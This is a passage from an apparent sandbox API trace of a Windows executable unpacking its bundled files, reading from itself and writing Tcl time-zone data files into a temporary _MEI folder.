Size=0x1000) returned 0x560088 [0042.641] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x92c, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x92c, lpOverlapped=0x0) returned 1 [0042.642] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.642] CloseHandle (hObject=0x10c) returned 1 [0042.642] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.642] htonl (hostlong=0x30000000) returned 0x30 [0042.642] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.642] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.642] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.642] GetFileType (hFile=0x10c) returned 0x1 [0042.642] htonl (hostlong=0x335e5c00) returned 0x5c5e33 [0042.642] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x610e33, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.642] htonl (hostlong=0x86000000) returned 0x86 [0042.642] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x86) returned 0x55cfe0 [0042.642] htonl (hostlong=0x86000000) returned 0x86 [0042.642] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.642] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.642] htonl (hostlong=0xae000000) returned 0xae [0042.642] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xae) returned 0x550600 [0042.642] htonl (hostlong=0x86000000) returned 0x86 [0042.642] htonl (hostlong=0xae000000) returned 0xae [0042.642] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.642] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.642] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.642] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.643] CloseHandle (hObject=0x10c) returned 1 [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.643] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.643] GetFileType (hFile=0x10c) returned 0x1 [0042.643] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.643] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.643] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.643] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.643] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.643] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.643] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.643] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.643] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.643] CloseHandle (hObject=0x10c) returned 1 [0042.643] GetLastError () returned 0x0 [0042.643] SetLastError (dwErrCode=0x0) [0042.643] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.643] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.643] GetFileType (hFile=0x10c) returned 0x1 [0042.643] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.643] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.644] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.644] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.644] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.644] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.644] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.644] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.644] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.644] CloseHandle (hObject=0x10c) returned 1 [0042.644] GetLastError () returned 0x0 [0042.644] SetLastError (dwErrCode=0x0) [0042.644] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.644] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.644] GetFileType (hFile=0x10c) returned 0x1 [0042.644] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.644] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.644] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.644] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.644] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.644] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.644] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.644] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.644] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.644] CloseHandle (hObject=0x10c) returned 1 [0042.645] GetLastError () returned 0x0 [0042.645] SetLastError (dwErrCode=0x0) [0042.645] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Nicosia") returned 71 [0042.645] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Nicosia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\nicosia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.645] GetLastError () returned 0x2 [0042.645] SetLastError (dwErrCode=0x2) [0042.645] GetLastError () returned 0x2 [0042.645] SetLastError (dwErrCode=0x2) [0042.645] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Nicosia", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Nicosia", lpFilePart=0x0) returned 0x46 [0042.645] GetLastError () returned 0x2 [0042.645] SetLastError (dwErrCode=0x2) [0042.645] GetLastError () returned 0x2 [0042.645] SetLastError (dwErrCode=0x2) [0042.645] GetLastError () returned 0x2 [0042.645] SetLastError (dwErrCode=0x2) [0042.645] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Nicosia") returned 71 [0042.645] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.645] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Nicosia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\nicosia"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.645] GetFileType (hFile=0x10c) returned 0x1 [0042.645] htonl (hostlong=0xae000000) returned 0xae [0042.645] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.645] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xae, lpOverlapped=0x0) returned 1 [0042.646] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.646] CloseHandle (hObject=0x10c) returned 1 [0042.646] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.646] htonl (hostlong=0x30000000) returned 0x30 [0042.646] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.646] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.646] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.647] GetFileType (hFile=0x10c) returned 0x1 [0042.647] htonl (hostlong=0xb95e5c00) returned 0x5c5eb9 [0042.647] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x610eb9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.647] htonl (hostlong=0x41060000) returned 0x641 [0042.647] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x641) returned 0x550600 [0042.647] htonl (hostlong=0x41060000) returned 0x641 [0042.647] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.647] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.647] htonl (hostlong=0xe31d0000) returned 0x1de3 [0042.647] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1de3) returned 0x561090 [0042.647] htonl (hostlong=0x41060000) returned 0x641 [0042.647] htonl (hostlong=0xe31d0000) returned 0x1de3 [0042.647] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562e80 [0042.647] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562e80 | out: hHeap=0x530000) returned 1 [0042.647] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.647] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.647] CloseHandle (hObject=0x10c) returned 1 [0042.647] GetLastError () returned 0x0 [0042.647] SetLastError (dwErrCode=0x0) [0042.647] GetLastError () returned 0x0 [0042.647] SetLastError (dwErrCode=0x0) [0042.647] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.648] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.648] GetFileType (hFile=0x10c) returned 0x1 [0042.648] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.648] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.648] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.648] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.648] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.648] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.648] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.648] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.648] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.648] CloseHandle (hObject=0x10c) returned 1 [0042.648] GetLastError () returned 0x0 [0042.648] SetLastError (dwErrCode=0x0) [0042.648] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.648] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.648] GetFileType (hFile=0x10c) returned 0x1 [0042.648] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.648] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.648] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.648] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.648] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.648] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.649] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.649] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.649] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.649] CloseHandle (hObject=0x10c) returned 1 [0042.649] GetLastError () returned 0x0 [0042.649] SetLastError (dwErrCode=0x0) [0042.649] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.649] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.649] GetFileType (hFile=0x10c) returned 0x1 [0042.649] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.649] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.649] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.649] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.649] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.649] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.649] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.649] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.649] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.649] CloseHandle (hObject=0x10c) returned 1 [0042.649] GetLastError () returned 0x0 [0042.649] SetLastError (dwErrCode=0x0) [0042.649] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Oslo") returned 68 [0042.649] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Oslo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\oslo"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.649] GetLastError () returned 0x2 [0042.649] SetLastError (dwErrCode=0x2) [0042.650] GetLastError () returned 0x2 [0042.650] SetLastError (dwErrCode=0x2) [0042.650] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Oslo", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Oslo", lpFilePart=0x0) returned 0x43 [0042.650] GetLastError () returned 0x2 [0042.650] SetLastError (dwErrCode=0x2) [0042.650] GetLastError () returned 0x2 [0042.650] SetLastError (dwErrCode=0x2) [0042.650] GetLastError () returned 0x2 [0042.650] SetLastError (dwErrCode=0x2) [0042.650] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Oslo") returned 68 [0042.650] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.650] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Oslo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\oslo"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.650] GetFileType (hFile=0x10c) returned 0x1 [0042.650] htonl (hostlong=0xe31d0000) returned 0x1de3 [0042.650] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.651] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.651] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xde3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xde3, lpOverlapped=0x0) returned 1 [0042.651] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.651] CloseHandle (hObject=0x10c) returned 1 [0042.651] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.652] htonl (hostlong=0x30000000) returned 0x30 [0042.652] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.652] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.652] CreateFileW 